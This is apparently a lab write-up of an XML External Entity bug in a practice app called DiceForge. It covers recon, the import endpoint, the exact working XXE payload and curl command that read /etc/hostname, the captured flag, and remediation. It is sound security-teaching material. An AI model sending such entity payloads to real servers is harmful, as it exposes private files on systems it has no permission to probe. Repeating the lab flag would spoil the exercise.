DiceForge: XXE File Disclosure via Session Import
Executive Summary
DiceForge (BugForge recycled lab) previously appeared 2026-04-26 as an
unauthenticated OS command injection on POST /api/roll (dice-001,
main.bf5c4d53.js). This deployment ships a different bundle
(main.a74de14f.js) with a new multiplayer-rooms feature set:
POST /api/rooms, GET /api/rooms, GET /api/rooms/:id, and an import path
not surfaced in the UI, POST /api/rooms/import, that accepts an XML session
document. The import parser processes external entities with no XXE hardening:
a file:// SYSTEM entity referenced from the session <name> element is
resolved server-side, and the resolved content comes back in a flag field of
the import response. The echoed name is not the resolved content but a static
Imported local resource label (a plain import echoes name verbatim). On
this deployment the resolved file (/etc/hostname) holds the flag, so the
import returns it inline.
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | XML External Entity injection in session import (name element) |
High | 8.6 | CWE-611 | POST /api/rooms/import |
The hint Import your previous sessions., taken literally, named the import
transport.
Objective
Capture the lab flag (bug{...}) from BugForge’s DiceForge deployment at
https://lab-1791992907894-cf6a24.labs-app.bugforge.io/.
Scope / Initial Access
URL: https://lab-1791992907894-cf6a24.labs-app.bugforge.io
Auth: none observed (rooms are anonymous; player identity is a
localStorage-only name `diceforge_player`)
Proxy: Caido 127.0.0.1:8080 in path for every request
Reconnaissance
- Root HTML → CRA bundle
/static/js/main.a74de14f.js(486 KB). Bundle hash differs from thedice-001era (main.bf5c4d53.js); content check required, not assumption. - Bundle grep for
/apistrings returned:/api/roll,/api/roll/notation(the dice-001 surface, still present)/api/rooms,/api/rooms/,/api/rooms/import- The import UI: a hidden file input with
accept=".xml,application/xml,text/xml", posting the raw file body withContent-Type: application/xml, then redirecting to/rooms/:id.
- Report-store prior art:
diceforge-2026-04-27.md(command injection,dice-001). No XXE variant of DiceForge existed, so a new variant was suspected, and the hint pointed at the import flow specifically. - Baseline sanity: a plain session XML imports cleanly and returns the new room id:
POST /api/rooms/import HTTP/1.1
Host: lab-1791992907894-cf6a24.labs-app.bugforge.io
Content-Type: application/xml
<?xml version="1.0"?><session><name>probe1</name></session>
→ 201 {"id":"618598ffb623","name":"probe1","createdAt":"...","rolls":[]}
The Bug (F1): XXE in /api/rooms/import
Severity: High
CVSS v3.1: 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
CWE: CWE-611 (Improper Restriction of XML External Entity Reference)
Endpoint: POST /api/rooms/import
Authentication required: No
Severity note: S:C reflects the XML parser being abused to read the host
filesystem (/etc/hostname), a resource outside the application’s own security
authority. Scoring S:U instead gives 7.5, still High.
Description
The importer parses the uploaded XML with an entity-processing, DTD-accepting
parser configuration and no allowlist. A DOCTYPE with an internal entity
subset resolves SYSTEM "file://..." references server-side. In the import
response the resolved entity content is returned in a flag field; the echoed
name is not the resolved content but a static Imported local resource
label (a plain import echoes name verbatim, as the baseline probe shows). On
this deployment the resolved file is /etc/hostname, whose content is the
flag, so the import returns it inline.
Reproduction (exact winning request)
POST /api/rooms/import HTTP/1.1
Host: lab-1791992907894-cf6a24.labs-app.bugforge.io
Content-Type: application/xml
Content-Length: 122
<?xml version="1.0"?><!DOCTYPE session [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><session><name>&xxe;</name></session>
Response:
{"id":"246377c1ddff","name":"Imported local resource","createdAt":"2026-10-14T15:54:15.848Z","rolls":[],"flag":"bug{N3VxEzD1oRexpjPuPIUWbkGRvQ5kPdEJ}"}
A malformed DOCTYPE variant returned {"error":"Invalid session document"}
with no file content disclosed, so the clean import above is the reliable
channel.
curl -sS --proxy http://127.0.0.1:8080 \
--cacert ~/.config/labs/caido-ca.crt \
-X POST "https://lab-1791992907894-cf6a24.labs-app.bugforge.io/api/rooms/import" \
-H 'Content-Type: application/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE session [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><session><name>&xxe;</name></session>'
Capture
bug{N3VxEzD1oRexpjPuPIUWbkGRvQ5kPdEJ}, verified both in the import
response and via the end-of-session full-history sweep
(node scripts/caido-sweep.js 'bug\{[a-zA-Z0-9]{32}\}' → 1 response-side
hit, exchange 6, POST /api/rooms/import).
Variant determination
- Bundle hash differs from dice-001 → content confirmed the difference:
command-injection on
/api/rollwas not re-tested as primary; the import endpoint did not exist in the dice-001 bundle. - No prior DiceForge XXE writeup in the store → new variant, minted
dice-005.
Remediation
- Parse with external entities disabled. For libxml2-based stacks the core
rule is to NOT pass
XML_PARSE_NOENT(it enables entity substitution, commonly misread as “no entities”) and to NOT passXML_PARSE_DTDLOAD, matching OWASP’s XXE guidance. On libxml2 2.13+ setXML_PARSE_NO_XXEto reject external entities explicitly. NoteXML_PARSE_NONETonly blocks network fetches, not thefile:///etc/hostnamelocal read shown here, so it is not sufficient on its own. In Node,fast-xml-parser/saxdefaults ignore DTDs. - Reject any document containing a
DOCTYPEat the import boundary; session documents have no legitimate need for one. - Allowlist the session-document schema (expected elements only) before storing; never echo parsed foreign content into API responses.
- If a file-read feature is genuinely required (e.g. session attachments),
restrict it to an allowlisted upload directory, never
file://URIs.
OWASP Top 10 Coverage
- A05:2021 - Security Misconfiguration (permissive XML parser configuration) and A08:2021 - Software/Data Integrity Failures (unsanitized document import). Primary class: CWE-611.
Tools Used
| Tool | Purpose |
|---|---|
| Caido (proxy + GraphQL API) | All requests in-path; request/response retrieval for the writeup |
curl via scripts/caido.sh |
Scripted probes |
scripts/caido-sweep.js |
End-of-session flag sweep (response-side hit confirmation) |
Failed Approaches / Negative Results
- Direct
&xxe;reference without the<!DOCTYPE ... [subset (entity undefined): imports cleanly, name stored literally as&xxe;, with no expansion. The DOCTYPE/internal-subset is required. - Truncated/malformed DOCTYPE variants:
{"error":"Invalid session document"}. - (Not re-tested this session, out of hint scope: dice-001 command injection
on
/api/roll,/api/stats,/api/roll/notation.)
Tags: #xxe #cwe-611 #bugforge #webapp #xml-import #diceforge
Document Version: 1.0
Last Updated: 2026-10-14